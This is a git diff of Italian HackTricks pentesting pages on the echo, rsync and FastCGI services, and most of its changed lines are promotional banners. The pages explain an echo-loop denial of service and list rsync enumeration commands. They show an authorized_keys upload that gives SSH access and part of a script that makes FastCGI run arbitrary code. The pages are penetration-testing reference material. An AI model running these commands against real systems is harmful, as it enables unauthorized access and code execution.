* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Gruppo di Sicurezza Try Hard**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -21,19 +22,19 @@ Altri modi per supportare HackTricks:
|
||||||
***
|
***
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di Base
|
# Informazioni di base
|
||||||
|
|
||||||
Un servizio di eco è in esecuzione su questo host. Il servizio di eco era destinato a scopi di test e misurazione e potrebbe essere in ascolto su entrambi i protocolli TCP e UDP. Il server invia indietro qualsiasi dato ricevuto, senza modifiche.\
|
Un servizio di echo è in esecuzione su questo host. Il servizio di echo era destinato a scopi di test e misurazione e può ascoltare sia i protocolli TCP che UDP. Il server restituisce qualsiasi dato riceve, senza alcuna modifica.\
|
||||||
**È possibile causare un rifiuto del servizio collegando un servizio di eco al servizio di eco sulla stessa o un'altra macchina**. A causa del numero eccessivamente elevato di pacchetti prodotti, le macchine interessate potrebbero essere effettivamente messe fuori servizio.\
|
**È possibile causare un'interruzione del servizio collegando un servizio di echo a un servizio di echo sulla stessa o su un'altra macchina**. A causa dell'eccessivo numero di pacchetti prodotti, le macchine interessate possono essere effettivamente messe fuori servizio.\
|
||||||
Informazioni da [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
Info da [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||||
|
|
||||||
**Porta Predefinita:** 7/tcp/udp
|
**Porta predefinita:** 7/tcp/udp
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
7/udp open echo
|
7/udp open echo
|
||||||
7/tcp open echo
|
7/tcp open echo
|
||||||
```
|
```
|
||||||
## Contatta il servizio Echo (UDP)
|
## Contattare il servizio Echo (UDP)
|
||||||
```bash
|
```bash
|
||||||
nc -uvn <IP> 7
|
nc -uvn <IP> 7
|
||||||
Hello echo #This is wat you send
|
Hello echo #This is wat you send
|
||||||
|
@ -43,11 +44,11 @@ Hello echo #This is the response
|
||||||
|
|
||||||
* `port:7 echo`
|
* `port:7 echo`
|
||||||
|
|
||||||
## References
|
## Riferimenti
|
||||||
|
|
||||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||||
|
|
||||||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
[CA-1996-01 Attacco Denial-of-Service su Porta UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||||
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
@ -56,16 +57,17 @@ Hello echo #This is the response
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# 873 - Pentesting Rsync
|
# 873 - Pentesting Rsync
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **Informazioni di base**
|
## **Informazioni di base**
|
||||||
|
|
||||||
Da [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
Da [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||||
|
|
||||||
> **rsync** è un'utilità per il [trasferimento](https://en.wikipedia.org/wiki/File\_transfer) e la [sincronizzazione](https://en.wikipedia.org/wiki/File\_synchronization) efficiente di [file](https://en.wikipedia.org/wiki/Computer\_file) tra un computer e un hard disk esterno e tra [computer](https://en.wikipedia.org/wiki/Computer) in rete, confrontando i tempi di [modifica](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) e le dimensioni dei file.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) È comunemente presente nei [sistemi operativi](https://en.wikipedia.org/wiki/Operating\_system) di tipo [Unix-like](https://en.wikipedia.org/wiki/Unix-like). L'algoritmo rsync è un tipo di [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding) e viene utilizzato per ridurre l'utilizzo della rete. [Zlib](https://en.wikipedia.org/wiki/Zlib) può essere utilizzato per la [compressione dei dati](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) possono essere utilizzati per la sicurezza.
|
> **rsync** è un'utilità per trasferire in modo efficiente [transferring](https://en.wikipedia.org/wiki/File\_transfer) e [synchronizing](https://en.wikipedia.org/wiki/File\_synchronization) [file](https://en.wikipedia.org/wiki/Computer\_file) tra un computer e un disco rigido esterno e tra [computer](https://en.wikipedia.org/wiki/Computer) [in rete](https://en.wikipedia.org/wiki/Computer\_network) confrontando i [tempi di modifica](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) e le dimensioni dei file.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) È comunemente trovato su [sistemi operativi](https://en.wikipedia.org/wiki/Operating\_system) [simili a Unix](https://en.wikipedia.org/wiki/Unix-like). L'algoritmo rsync è un tipo di [delta encoding](https://en.wikipedia.org/wiki/Delta\_encoding) ed è utilizzato per minimizzare l'uso della rete. [Zlib](https://en.wikipedia.org/wiki/Zlib) può essere utilizzato per una [compressione dei dati](https://en.wikipedia.org/wiki/Data\_compression) aggiuntiva,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) o [stunnel](https://en.wikipedia.org/wiki/Stunnel) possono essere utilizzati per la sicurezza.
|
||||||
|
|
||||||
**Porta predefinita:** 873
|
**Porta predefinita:** 873
|
||||||
```
|
```
|
||||||
|
@ -49,9 +50,9 @@ nc -vn 127.0.0.1 873
|
||||||
raidroot
|
raidroot
|
||||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||||
```
|
```
|
||||||
### **Enumerazione delle cartelle condivise**
|
### **Enumerare le Cartelle Condivise**
|
||||||
|
|
||||||
I **moduli Rsync** sono riconosciuti come **condivisioni di directory** che potrebbero essere **protette da password**. Per identificare i moduli disponibili e verificare se richiedono password, vengono utilizzati i seguenti comandi:
|
I **moduli Rsync** sono riconosciuti come **condivisioni di directory** che potrebbero essere **protette da password**. Per identificare i moduli disponibili e verificare se richiedono password, si utilizzano i seguenti comandi:
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/rsync/modules_list
|
msf> use auxiliary/scanner/rsync/modules_list
|
||||||
|
@ -59,13 +60,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||||
# Example with IPv6 and alternate port
|
# Example with IPv6 and alternate port
|
||||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||||
```
|
```
|
||||||
Fai attenzione che alcune condivisioni potrebbero non apparire nell'elenco, nascondendole eventualmente. Inoltre, l'accesso a alcune condivisioni potrebbe essere limitato a specifiche **credenziali**, come indicato da un messaggio di **"Accesso negato"**.
|
Fai attenzione che alcune condivisioni potrebbero non apparire nell'elenco, nascondendole. Inoltre, l'accesso ad alcune condivisioni potrebbe essere limitato a specifiche **credenziali**, indicate da un messaggio **"Accesso Negato"**.
|
||||||
|
|
||||||
### [**Forza bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||||
|
|
||||||
### Utilizzo manuale di Rsync
|
### Utilizzo Manuale di Rsync
|
||||||
|
|
||||||
Dopo aver ottenuto un **elenco dei moduli**, le azioni dipendono dal fatto che sia necessaria l'autenticazione. Senza autenticazione, è possibile **elencare** e **copiare** i file da una cartella condivisa a una directory locale tramite:
|
Una volta ottenuto un **elenco dei moduli**, le azioni dipendono dal fatto che sia necessaria l'autenticazione. Senza autenticazione, **elencare** e **copiare** file da una cartella condivisa a una directory locale si ottiene tramite:
|
||||||
```bash
|
```bash
|
||||||
# Listing a shared folder
|
# Listing a shared folder
|
||||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
|
@ -73,20 +74,20 @@ rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||||
# Copying files from a shared folder
|
# Copying files from a shared folder
|
||||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||||
```
|
```
|
||||||
Questo processo **trasferisce in modo ricorsivo i file**, preservando i loro attributi e permessi.
|
Questo processo **trasferisce file in modo ricorsivo**, preservando i loro attributi e permessi.
|
||||||
|
|
||||||
Con **le credenziali**, è possibile elencare e scaricare da una cartella condivisa nel seguente modo, dove verrà visualizzata una richiesta di password:
|
Con **credenziali**, l'elenco e il download da una cartella condivisa possono essere effettuati come segue, dove apparirà un prompt per la password:
|
||||||
```bash
|
```bash
|
||||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||||
```
|
```
|
||||||
Per **caricare contenuti**, come ad esempio un file _**authorized_keys**_ per l'accesso, utilizzare:
|
Per **caricare contenuti**, come un file _**authorized_keys**_ per l'accesso, usa:
|
||||||
```bash
|
```bash
|
||||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||||
```
|
```
|
||||||
## POST
|
## POST
|
||||||
|
|
||||||
Per individuare il file di configurazione di rsyncd, eseguire:
|
Per localizzare il file di configurazione rsyncd, eseguire:
|
||||||
```bash
|
```bash
|
||||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||||
```
|
```
|
||||||
|
@ -96,16 +97,17 @@ All'interno di questo file, un parametro _secrets file_ potrebbe puntare a un fi
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di Base
|
# Informazioni di base
|
||||||
|
|
||||||
Se vuoi **sapere cos'è FastCGI** controlla la seguente pagina:
|
Se vuoi **imparare cos'è FastCGI** controlla la seguente pagina:
|
||||||
|
|
||||||
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %}
|
||||||
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
[disable\_functions-bypass-php-fpm-fastcgi.md](pentesting-web/php-tricks-esp/php-useful-functions-disable\_functions-open\_basedir-bypass/disable\_functions-bypass-php-fpm-fastcgi.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Di default **FastCGI** gira sulla **porta** **9000** e non è riconosciuto da nmap. **Di solito** FastCGI ascolta solo in **localhost**.
|
Per impostazione predefinita, **FastCGI** viene eseguito sulla **porta** **9000** e non è riconosciuto da nmap. **Di solito** FastCGI ascolta solo su **localhost**.
|
||||||
|
|
||||||
# RCE
|
# RCE
|
||||||
|
|
||||||
È piuttosto facile far eseguire codice arbitrario a FastCGI:
|
È abbastanza facile far eseguire a FastCGI codice arbitrario:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
|
@ -45,21 +46,20 @@ cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
|
||||||
cat $OUTPUT
|
cat $OUTPUT
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
```markdown
|
o puoi anche utilizzare il seguente script python: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)
|
||||||
Oppure puoi utilizzare lo script Python seguente: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356)
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repositori di github [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
